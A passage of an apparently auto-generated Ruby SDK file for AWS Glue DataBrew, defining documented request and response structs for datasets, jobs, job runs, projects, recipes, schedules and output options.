[rw] created_by # The identifier (user name) of the user who created the dataset. # @return [String] # # @!attribute [rw] create_date # The date and time that the dataset was created. # @return [Time] # # @!attribute [rw] name # The name of the dataset. # @return [String] # # @!attribute [rw] format_options # Options that define the structure of either Csv, Excel, or JSON # input. # @return [Types::FormatOptions] # # @!attribute [rw] input # Information on how DataBrew can find data, in either the AWS Glue # Data Catalog or Amazon S3. # @return [Types::Input] # # @!attribute [rw] last_modified_date # The date and time that the dataset was last modified. # @return [Time] # # @!attribute [rw] last_modified_by # The identifier (user name) of the user who last modified the # dataset. # @return [String] # # @!attribute [rw] source # The location of the data for this dataset, Amazon S3 or the AWS Glue # Data Catalog. # @return [String] # # @!attribute [rw] tags # Metadata tags associated with this dataset. # @return [Hash<String,String>] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the dataset. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeDatasetResponse AWS API Documentation # class DescribeDatasetResponse < Struct.new( :created_by, :create_date, :name, :format_options, :input, :last_modified_date, :last_modified_by, :source, :tags, :resource_arn) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DescribeJobRequest # data as a hash: # # { # name: "JobName", # required # } # # @!attribute [rw] name # The name of the job to be described. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeJobRequest AWS API Documentation # class DescribeJobRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] create_date # The date and time that the job was created. # @return [Time] # # @!attribute [rw] created_by # The identifier (user name) of the user associated with the creation # of the job. # @return [String] # # @!attribute [rw] dataset_name # The dataset that the job acts upon. # @return [String] # # @!attribute [rw] encryption_key_arn # The Amazon Resource Name (ARN) of an encryption key that is used to # protect the job. # @return [String] # # @!attribute [rw] encryption_mode # The encryption mode for the job, which can be one of the following: # # * `SSE-KMS` - Server-side encryption with AWS KMS-managed keys. # # * `SSE-S3` - Server-side encryption with keys managed by Amazon S3. # @return [String] # # @!attribute [rw] name # The name of the job. # @return [String] # # @!attribute [rw] type # The job type, which must be one of the following: # # * `PROFILE` - The job analyzes the dataset to determine its size, # data types, data distribution, and more. # # * `RECIPE` - The job applies one or more transformations to a # dataset. # @return [String] # # @!attribute [rw] last_modified_by # The identifier (user name) of the user who last modified the job. # @return [String] # # @!attribute [rw] last_modified_date # The date and time that the job was last modified. # @return [Time] # # @!attribute [rw] log_subscription # Indicates whether Amazon CloudWatch logging is enabled for this job. # @return [String] # # @!attribute [rw] max_capacity # The maximum number of compute nodes that DataBrew can consume when # the job processes data. # @return [Integer] # # @!attribute [rw] max_retries # The maximum number of times to retry the job after a job run fails. # @return [Integer] # # @!attribute [rw] outputs # One or more artifacts that represent the output from running the # job. # @return [Array<Types::Output>] # # @!attribute [rw] project_name # The DataBrew project associated with this job. # @return [String] # # @!attribute [rw] recipe_reference # Represents the name and version of a DataBrew recipe. # @return [Types::RecipeReference] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the job. # @return [String] # # @!attribute [rw] role_arn # The ARN of the AWS Identity and Access Management (IAM) role to be # assumed when DataBrew runs the job. # @return [String] # # @!attribute [rw] tags # Metadata tags associated with this job. # @return [Hash<String,String>] # # @!attribute [rw] timeout # The job's timeout in minutes. A job that attempts to run longer # than this timeout period ends with a status of `TIMEOUT`. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeJobResponse AWS API Documentation # class DescribeJobResponse < Struct.new( :create_date, :created_by, :dataset_name, :encryption_key_arn, :encryption_mode, :name, :type, :last_modified_by, :last_modified_date, :log_subscription, :max_capacity, :max_retries, :outputs, :project_name, :recipe_reference, :resource_arn, :role_arn, :tags, :timeout) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DescribeProjectRequest # data as a hash: # # { # name: "ProjectName", # required # } # # @!attribute [rw] name # The name of the project to be described. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeProjectRequest AWS API Documentation # class DescribeProjectRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] create_date # The date and time that the project was created. # @return [Time] # # @!attribute [rw] created_by # The identifier (user name) of the user who created the project. # @return [String] # # @!attribute [rw] dataset_name # The dataset associated with the project. # @return [String] # # @!attribute [rw] last_modified_date # The date and time that the project was last modified. # @return [Time] # # @!attribute [rw] last_modified_by # The identifier (user name) of the user who last modified the # project. # @return [String] # # @!attribute [rw] name # The name of the project. # @return [String] # # @!attribute [rw] recipe_name # The recipe associated with this job. # @return [String] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the project. # @return [String] # # @!attribute [rw] sample # Represents the sample size and sampling type for DataBrew to use for # interactive data analysis. # @return [Types::Sample] # # @!attribute [rw] role_arn # The ARN of the AWS Identity and Access Management (IAM) role to be # assumed when DataBrew runs the job. # @return [String] # # @!attribute [rw] tags # Metadata tags associated with this project. # @return [Hash<String,String>] # # @!attribute [rw] session_status # Describes the current state of the session: # # * `PROVISIONING` - allocating resources for the session. # # * `INITIALIZING` - getting the session ready for first use. # # * `ASSIGNED` - the session is ready for use. # @return [String] # # @!attribute [rw] opened_by # The identifier (user name) of the user that opened the project for # use. # @return [String] # # @!attribute [rw] open_date # The date and time when the project was opened. # @return [Time] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeProjectResponse AWS API Documentation # class DescribeProjectResponse < Struct.new( :create_date, :created_by, :dataset_name, :last_modified_date, :last_modified_by, :name, :recipe_name, :resource_arn, :sample, :role_arn, :tags, :session_status, :opened_by, :open_date) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DescribeRecipeRequest # data as a hash: # # { # name: "RecipeName", # required # recipe_version: "RecipeVersion", # } # # @!attribute [rw] name # The name of the recipe to be described. # @return [String] # # @!attribute [rw] recipe_version # The recipe version identifier. If this parameter isn't specified, # then the latest published version is returned. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeRecipeRequest AWS API Documentation # class DescribeRecipeRequest < Struct.new( :name, :recipe_version) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] created_by # The identifier (user name) of the user who created the recipe. # @return [String] # # @!attribute [rw] create_date # The date and time that the recipe was created. # @return [Time] # # @!attribute [rw] last_modified_by # The identifier (user name) of the user who last modified the recipe. # @return [String] # # @!attribute [rw] last_modified_date # The date and time that the recipe was last modified. # @return [Time] # # @!attribute [rw] project_name # The name of the project associated with this recipe. # @return [String] # # @!attribute [rw] published_by # The identifier (user name) of the user who last published the # recipe. # @return [String] # # @!attribute [rw] published_date # The date and time when the recipe was last published. # @return [Time] # # @!attribute [rw] description # The description of the recipe. # @return [String] # # @!attribute [rw] name # The name of the recipe. # @return [String] # # @!attribute [rw] steps # One or more steps to be performed by the recipe. Each step consists # of an action, and the conditions under which the action should # succeed. # @return [Array<Types::RecipeStep>] # # @!attribute [rw] tags # Metadata tags associated with this project. # @return [Hash<String,String>] # # @!attribute [rw] resource_arn # The ARN of the recipe. # @return [String] # # @!attribute [rw] recipe_version # The recipe version identifier. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeRecipeResponse AWS API Documentation # class DescribeRecipeResponse < Struct.new( :created_by, :create_date, :last_modified_by, :last_modified_date, :project_name, :published_by, :published_date, :description, :name, :steps, :tags, :resource_arn, :recipe_version) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass DescribeScheduleRequest # data as a hash: # # { # name: "ScheduleName", # required # } # # @!attribute [rw] name # The name of the schedule to be described. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeScheduleRequest AWS API Documentation # class DescribeScheduleRequest < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] create_date # The date and time that the schedule was created. # @return [Time] # # @!attribute [rw] created_by # The identifier (user name) of the user who created the schedule. # @return [String] # # @!attribute [rw] job_names # The name or names of one or more jobs to be run by using the # schedule. # @return [Array<String>] # # @!attribute [rw] last_modified_by # The identifier (user name) of the user who last modified the # schedule. # @return [String] # # @!attribute [rw] last_modified_date # The date and time that the schedule was last modified. # @return [Time] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) of the schedule. # @return [String] # # @!attribute [rw] cron_expression # The date or dates and time or times when the jobs are to be run for # the schedule. For more information, see [Cron expressions][1] in the # *AWS Glue DataBrew Developer Guide*. # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/jobs.cron.html # @return [String] # # @!attribute [rw] tags # Metadata tags associated with this schedule. # @return [Hash<String,String>] # # @!attribute [rw] name # The name of the schedule. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/DescribeScheduleResponse AWS API Documentation # class DescribeScheduleResponse < Struct.new( :create_date, :created_by, :job_names, :last_modified_by, :last_modified_date, :resource_arn, :cron_expression, :tags, :name) SENSITIVE = [] include Aws::Structure end # Options that define how DataBrew will interpret a Microsoft Excel # file, when creating a dataset from that file. # # @note When making an API call, you may pass ExcelOptions # data as a hash: # # { # sheet_names: ["SheetName"], # sheet_indexes: [1], # } # # @!attribute [rw] sheet_names # Specifies one or more named sheets in the Excel file, which will be # included in the dataset. # @return [Array<String>] # # @!attribute [rw] sheet_indexes # Specifies one or more sheet numbers in the Excel file, which will be # included in the dataset. # @return [Array<Integer>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ExcelOptions AWS API Documentation # class ExcelOptions < Struct.new( :sheet_names, :sheet_indexes) SENSITIVE = [] include Aws::Structure end # Options that define the structure of either Csv, Excel, or JSON input. # # @note When making an API call, you may pass FormatOptions # data as a hash: # # { # json: { # multi_line: false, # }, # excel: { # sheet_names: ["SheetName"], # sheet_indexes: [1], # }, # csv: { # delimiter: "Delimiter", # }, # } # # @!attribute [rw] json # Options that define how JSON input is to be interpreted by DataBrew. # @return [Types::JsonOptions] # # @!attribute [rw] excel # Options that define how Excel input is to be interpreted by # DataBrew. # @return [Types::ExcelOptions] # # @!attribute [rw] csv # Options that define how Csv input is to be interpreted by DataBrew. # @return [Types::CsvOptions] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/FormatOptions AWS API Documentation # class FormatOptions < Struct.new( :json, :excel, :csv) SENSITIVE = [] include Aws::Structure end # Information on how DataBrew can find data, in either the AWS Glue Data # Catalog or Amazon S3. # # @note When making an API call, you may pass Input # data as a hash: # # { # s3_input_definition: { # bucket: "Bucket", # required # key: "Key", # }, # data_catalog_input_definition: { # catalog_id: "CatalogId", # database_name: "DatabaseName", # required # table_name: "TableName", # required # temp_directory: { # bucket: "Bucket", # required # key: "Key", # }, # }, # } # # @!attribute [rw] s3_input_definition # The Amazon S3 location where the data is stored. # @return [Types::S3Location] # # @!attribute [rw] data_catalog_input_definition # The AWS Glue Data Catalog parameters for the data. # @return [Types::DataCatalogInputDefinition] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Input AWS API Documentation # class Input < Struct.new( :s3_input_definition, :data_catalog_input_definition) SENSITIVE = [] include Aws::Structure end # An internal service failure occurred. # # @!attribute [rw] message # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/InternalServerException AWS API Documentation # class InternalServerException < Struct.new( :message) SENSITIVE = [] include Aws::Structure end # Represents all of the attributes of a DataBrew job. # # @!attribute [rw] account_id # The ID of the AWS account that owns the job. # @return [String] # # @!attribute [rw] created_by # The Amazon Resource Name (ARN) of the user who created the job. # @return [String] # # @!attribute [rw] create_date # The date and time that the job was created. # @return [Time] # # @!attribute [rw] dataset_name # A dataset that the job is to process. # @return [String] # # @!attribute [rw] encryption_key_arn # The Amazon Resource Name (ARN) of an encryption key that is used to # protect the job output. For more information, see [Encrypting data # written by DataBrew jobs][1] # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/encryption-security-configuration.html # @return [String] # # @!attribute [rw] encryption_mode # The encryption mode for the job, which can be one of the following: # # * `SSE-KMS` - Server-side encryption with AWS KMS-managed keys. # # * `SSE-S3` - Server-side encryption with keys managed by Amazon S3. # @return [String] # # @!attribute [rw] name # The unique name of the job. # @return [String] # # @!attribute [rw] type # The job type of the job, which must be one of the following: # # * `PROFILE` - A job to analyze a dataset, to determine its size, # data types, data distribution, and more. # # * `RECIPE` - A job to apply one or more transformations to a # dataset. # @return [String] # # @!attribute [rw] last_modified_by # The Amazon Resource Name (ARN) of the user who last modified the # job. # @return [String] # # @!attribute [rw] last_modified_date # The modification date and time of the job. # @return [Time] # # @!attribute [rw] log_subscription # The current status of Amazon CloudWatch logging for the job. # @return [String] # # @!attribute [rw] max_capacity # The maximum number of nodes that can be consumed when the job # processes data. # @return [Integer] # # @!attribute [rw] max_retries # The maximum number of times to retry the job after a job run fails. # @return [Integer] # # @!attribute [rw] outputs # One or more artifacts that represent output from running the job. # @return [Array<Types::Output>] # # @!attribute [rw] project_name # The name of the project that the job is associated with. # @return [String] # # @!attribute [rw] recipe_reference # A set of steps that the job runs. # @return [Types::RecipeReference] # # @!attribute [rw] resource_arn # The unique Amazon Resource Name (ARN) for the job. # @return [String] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the role that will be assumed for # this job. # @return [String] # # @!attribute [rw] timeout # The job's timeout in minutes. A job that attempts to run longer # than this timeout period ends with a status of `TIMEOUT`. # @return [Integer] # # @!attribute [rw] tags # Metadata tags that have been applied to the job. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Job AWS API Documentation # class Job < Struct.new( :account_id, :created_by, :create_date, :dataset_name, :encryption_key_arn, :encryption_mode, :name, :type, :last_modified_by, :last_modified_date, :log_subscription, :max_capacity, :max_retries, :outputs, :project_name, :recipe_reference, :resource_arn, :role_arn, :timeout, :tags) SENSITIVE = [] include Aws::Structure end # Represents one run of a DataBrew job. # # @!attribute [rw] attempt # The number of times that DataBrew has attempted to run the job. # @return [Integer] # # @!attribute [rw] completed_on # The date and time when the job completed processing. # @return [Time] # # @!attribute [rw] dataset_name # The name of the dataset for the job to process. # @return [String] # # @!attribute [rw] error_message # A message indicating an error (if any) that was encountered when the # job ran. # @return [String] # # @!attribute [rw] execution_time # The amount of time, in seconds, during which a job run consumed # resources. # @return [Integer] # # @!attribute [rw] job_name # The name of the job being processed during this run. # @return [String] # # @!attribute [rw] run_id # The unique identifier of the job run. # @return [String] # # @!attribute [rw] state # The current state of the job run entity itself. # @return [String] # # @!attribute [rw] log_subscription # The current status of Amazon CloudWatch logging for the job run. # @return [String] # # @!attribute [rw] log_group_name # The name of an Amazon CloudWatch log group, where the job writes # diagnostic messages when it runs. # @return [String] # # @!attribute [rw] outputs # One or more output artifacts from a job run. # @return [Array<Types::Output>] # # @!attribute [rw] recipe_reference # The set of steps processed by the job. # @return [Types::RecipeReference] # # @!attribute [rw] started_by # The Amazon Resource Name (ARN) of the user who initiated the job # run. # @return [String] # # @!attribute [rw] started_on # The date and time when the job run began. # @return [Time] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/JobRun AWS API Documentation # class JobRun < Struct.new( :attempt, :completed_on, :dataset_name, :error_message, :execution_time, :job_name, :run_id, :state, :log_subscription, :log_group_name, :outputs, :recipe_reference, :started_by, :started_on) SENSITIVE = [] include Aws::Structure end # Represents the JSON-specific options that define how input is to be # interpreted by AWS Glue DataBrew. # # @note When making an API call, you may pass JsonOptions # data as a hash: # # { # multi_line: false, # } # # @!attribute [rw] multi_line # A value that specifies whether JSON input contains embedded new line # characters. # @return [Boolean] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/JsonOptions AWS API Documentation # class JsonOptions < Struct.new( :multi_line) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListDatasetsRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @!attribute [rw] next_token # The token returned by a previous call to retrieve the next set of # results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListDatasetsRequest AWS API Documentation # class ListDatasetsRequest < Struct.new( :max_results, :next_token) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] datasets # A list of datasets that are defined. # @return [Array<Types::Dataset>] # # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListDatasetsResponse AWS API Documentation # class ListDatasetsResponse < Struct.new( :datasets, :next_token) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListJobRunsRequest # data as a hash: # # { # name: "JobName", # required # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] name # The name of the job. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @!attribute [rw] next_token # The token returned by a previous call to retrieve the next set of # results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListJobRunsRequest AWS API Documentation # class ListJobRunsRequest < Struct.new( :name, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] job_runs # A list of job runs that have occurred for the specified job. # @return [Array<Types::JobRun>] # # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListJobRunsResponse AWS API Documentation # class ListJobRunsResponse < Struct.new( :job_runs, :next_token) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListJobsRequest # data as a hash: # # { # dataset_name: "DatasetName", # max_results: 1, # next_token: "NextToken", # project_name: "ProjectName", # } # # @!attribute [rw] dataset_name # The name of a dataset. Using this parameter indicates to return only # those jobs that act on the specified dataset. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @!attribute [rw] next_token # A token generated by DataBrew that specifies where to continue # pagination if a previous request was truncated. To get the next set # of pages, pass in the NextToken value from the response object of # the previous page call. # @return [String] # # @!attribute [rw] project_name # The name of a project. Using this parameter indicates to return only # those jobs that are associated with the specified project. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListJobsRequest AWS API Documentation # class ListJobsRequest < Struct.new( :dataset_name, :max_results, :next_token, :project_name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] jobs # A list of jobs that are defined. # @return [Array<Types::Job>] # # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListJobsResponse AWS API Documentation # class ListJobsResponse < Struct.new( :jobs, :next_token) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListProjectsRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] next_token # The token returned by a previous call to retrieve the next set of # results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListProjectsRequest AWS API Documentation # class ListProjectsRequest < Struct.new( :next_token, :max_results) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] projects # A list of projects that are defined . # @return [Array<Types::Project>] # # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListProjectsResponse AWS API Documentation # class ListProjectsResponse < Struct.new( :projects, :next_token) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListRecipeVersionsRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # name: "RecipeName", # required # } # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @!attribute [rw] next_token # The token returned by a previous call to retrieve the next set of # results. # @return [String] # # @!attribute [rw] name # The name of the recipe for which to return version information. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListRecipeVersionsRequest AWS API Documentation # class ListRecipeVersionsRequest < Struct.new( :max_results, :next_token, :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @!attribute [rw] recipes # A list of versions for the specified recipe. # @return [Array<Types::Recipe>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListRecipeVersionsResponse AWS API Documentation # class ListRecipeVersionsResponse < Struct.new( :next_token, :recipes) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListRecipesRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # recipe_version: "RecipeVersion", # } # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @!attribute [rw] next_token # The token returned by a previous call to retrieve the next set of # results. # @return [String] # # @!attribute [rw] recipe_version # Return only those recipes with a version identifier of # `LATEST_WORKING` or `LATEST_PUBLISHED`. If `RecipeVersion` is # omitted, `ListRecipes` returns all of the `LATEST_PUBLISHED` recipe # versions. # # Valid values: `LATEST_WORKING` \| `LATEST_PUBLISHED` # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListRecipesRequest AWS API Documentation # class ListRecipesRequest < Struct.new( :max_results, :next_token, :recipe_version) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] recipes # A list of recipes that are defined. # @return [Array<Types::Recipe>] # # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListRecipesResponse AWS API Documentation # class ListRecipesResponse < Struct.new( :recipes, :next_token) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListSchedulesRequest # data as a hash: # # { # job_name: "JobName", # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] job_name # The name of the job that these schedules apply to. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this request. # @return [Integer] # # @!attribute [rw] next_token # The token returned by a previous call to retrieve the next set of # results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListSchedulesRequest AWS API Documentation # class ListSchedulesRequest < Struct.new( :job_name, :max_results, :next_token) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] schedules # A list of schedules that are defined. # @return [Array<Types::Schedule>] # # @!attribute [rw] next_token # A token that you can use in a subsequent call to retrieve the next # set of results. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListSchedulesResponse AWS API Documentation # class ListSchedulesResponse < Struct.new( :schedules, :next_token) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass ListTagsForResourceRequest # data as a hash: # # { # resource_arn: "Arn", # required # } # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) string that uniquely identifies the # DataBrew resource. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListTagsForResourceRequest AWS API Documentation # class ListTagsForResourceRequest < Struct.new( :resource_arn) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] tags # A list of tags associated with the DataBrew resource. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/ListTagsForResourceResponse AWS API Documentation # class ListTagsForResourceResponse < Struct.new( :tags) SENSITIVE = [] include Aws::Structure end # Parameters that specify how and where DataBrew will write the output # generated by recipe jobs or profile jobs. # # @note When making an API call, you may pass Output # data as a hash: # # { # compression_format: "GZIP", # accepts GZIP, LZ4, SNAPPY, BZIP2, DEFLATE, LZO, BROTLI, ZSTD, ZLIB # format: "CSV", # accepts CSV, JSON, PARQUET, GLUEPARQUET, AVRO, ORC, XML # partition_columns: ["ColumnName"], # location: { # required # bucket: "Bucket", # required # key: "Key", # }, # overwrite: false, # format_options: { # csv: { # delimiter: "Delimiter", # }, # }, # } # # @!attribute [rw] compression_format # The compression algorithm used to compress the output text of the # job. # @return [String] # # @!attribute [rw] format # The data format of the output of the job. # @return [String] # # @!attribute [rw] partition_columns # The names of one or more partition columns for the output of the # job. # @return [Array<String>] # # @!attribute [rw] location # The location in Amazon S3 where the job writes its output. # @return [Types::S3Location] # # @!attribute [rw] overwrite # A value that, if true, means that any data in the location specified # for output is overwritten with new output. # @return [Boolean] # # @!attribute [rw] format_options # Options that define how DataBrew formats job output files. # @return [Types::OutputFormatOptions] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Output AWS API Documentation # class Output < Struct.new( :compression_format, :format, :partition_columns, :location, :overwrite, :format_options) SENSITIVE = [] include Aws::Structure end # Options that define the structure of Csv job output. # # @note When making an API call, you may pass OutputFormatOptions # data as a hash: # # { # csv: { # delimiter: "Delimiter", # }, # } # # @!attribute [rw] csv # Options that define how DataBrew writes Csv output. # @return [Types::CsvOutputOptions] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/OutputFormatOptions AWS API Documentation # class OutputFormatOptions < Struct.new( :csv) SENSITIVE = [] include Aws::Structure end # Represents all of the attributes of a DataBrew project. # # @!attribute [rw] account_id # The ID of the AWS account that owns the project. # @return [String] # # @!attribute [rw] create_date # The date and time that the project was created. # @return [Time] # # @!attribute [rw] created_by # The Amazon Resource Name (ARN) of the user who crated the project. # @return [String] # # @!attribute [rw] dataset_name # The dataset that the project is to act upon. # @return [String] # # @!attribute [rw] last_modified_date # The last modification date and time for the project. # @return [Time] # # @!attribute [rw] last_modified_by # The Amazon Resource Name (ARN) of the user who last modified the # project. # @return [String] # # @!attribute [rw] name # The unique name of a project. # @return [String] # # @!attribute [rw] recipe_name # The name of a recipe that will be developed during a project # session. # @return [String] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) for the project. # @return [String] # # @!attribute [rw] sample # The sample size and sampling type to apply to the data. If this # parameter isn't specified, then the sample will consiste of the # first 500 rows from the dataset. # @return [Types::Sample] # # @!attribute [rw] tags # Metadata tags that have been applied to the project. # @return [Hash<String,String>] # # @!attribute [rw] role_arn # The Amazon Resource Name (ARN) of the role that will be assumed for # this project. # @return [String] # # @!attribute [rw] opened_by # The Amazon Resource Name (ARN) of the user that opened the project # for use. # @return [String] # # @!attribute [rw] open_date # The date and time when the project was opened. # @return [Time] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Project AWS API Documentation # class Project < Struct.new( :account_id, :create_date, :created_by, :dataset_name, :last_modified_date, :last_modified_by, :name, :recipe_name, :resource_arn, :sample, :tags, :role_arn, :opened_by, :open_date) SENSITIVE = [] include Aws::Structure end # @note When making an API call, you may pass PublishRecipeRequest # data as a hash: # # { # description: "RecipeDescription", # name: "RecipeName", # required # } # # @!attribute [rw] description # A description of the recipe to be published, for this version of the # recipe. # @return [String] # # @!attribute [rw] name # The name of the recipe to be published. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/PublishRecipeRequest AWS API Documentation # class PublishRecipeRequest < Struct.new( :description, :name) SENSITIVE = [] include Aws::Structure end # @!attribute [rw] name # The name of the recipe that you published. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/PublishRecipeResponse AWS API Documentation # class PublishRecipeResponse < Struct.new( :name) SENSITIVE = [] include Aws::Structure end # Represents one or more actions to be performed on a DataBrew dataset. # # @!attribute [rw] created_by # The Amazon Resource Name (ARN) of the user who created the recipe. # @return [String] # # @!attribute [rw] create_date # The date and time that the recipe was created. # @return [Time] # # @!attribute [rw] last_modified_by # The Amazon Resource Name (ARN) of the user who last modified the # recipe. # @return [String] # # @!attribute [rw] last_modified_date # The last modification date and time of the recipe. # @return [Time] # # @!attribute [rw] project_name # The name of the project that the recipe is associated with. # @return [String] # # @!attribute [rw] published_by # The Amazon Resource Name (ARN) of the user who published the recipe. # @return [String] # # @!attribute [rw] published_date # The date and time when the recipe was published. # @return [Time] # # @!attribute [rw] description # The description of the recipe. # @return [String] # # @!attribute [rw] name # The unique name for the recipe. # @return [String] # # @!attribute [rw] resource_arn # The Amazon Resource Name (ARN) for the recipe. # @return [String] # # @!attribute [rw] steps # A list of steps that are defined by the recipe. # @return [Array<Types::RecipeStep>] # # @!attribute [rw] tags # Metadata tags that have been applied to the recipe. # @return [Hash<String,String>] # # @!attribute [rw] recipe_version # The identifier for the version for the recipe. Must be one of the # following: # # * Numeric version (`X.Y`) - `X` and `Y` stand for major and minor # version numbers. The maximum length of each is 6 digits, and # neither can be negative values. Both `X` and `Y` are required, and # "0.0" is not a valid version. # # * `LATEST_WORKING` - the most recent valid version being developed # in a DataBrew project. # # * `LATEST_PUBLISHED` - the most recent published version. # @return [String] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/Recipe AWS API Documentation # class Recipe < Struct.new( :created_by, :create_date, :last_modified_by, :last_modified_date, :project_name, :published_by, :published_date, :description, :name, :resource_arn, :steps, :tags, :recipe_version) SENSITIVE = [] include Aws::Structure end # Represents a transformation and associated parameters that are used to # apply a change to a DataBrew dataset. For more information, see # [Recipe structure][1] and [Recipe actions reference][2]. # # # # [1]: https://docs.aws.amazon.com/databrew/latest/dg/recipe-structure.html # [2]: https://docs.aws.amazon.com/databrew/latest/dg/recipe-actions-reference.html # # @note When making an API call, you may pass RecipeAction # data as a hash: # # { # operation: "Operation", # required # parameters: { # "ParameterName" => "ParameterValue", # }, # } # # @!attribute [rw] operation # The name of a valid DataBrew transformation to be performed on the # data. # @return [String] # # @!attribute [rw] parameters # Contextual parameters for the transformation. # @return [Hash<String,String>] # # @see http://docs.aws.amazon.com/goto/WebAPI/databrew-2017-07-25/RecipeAction 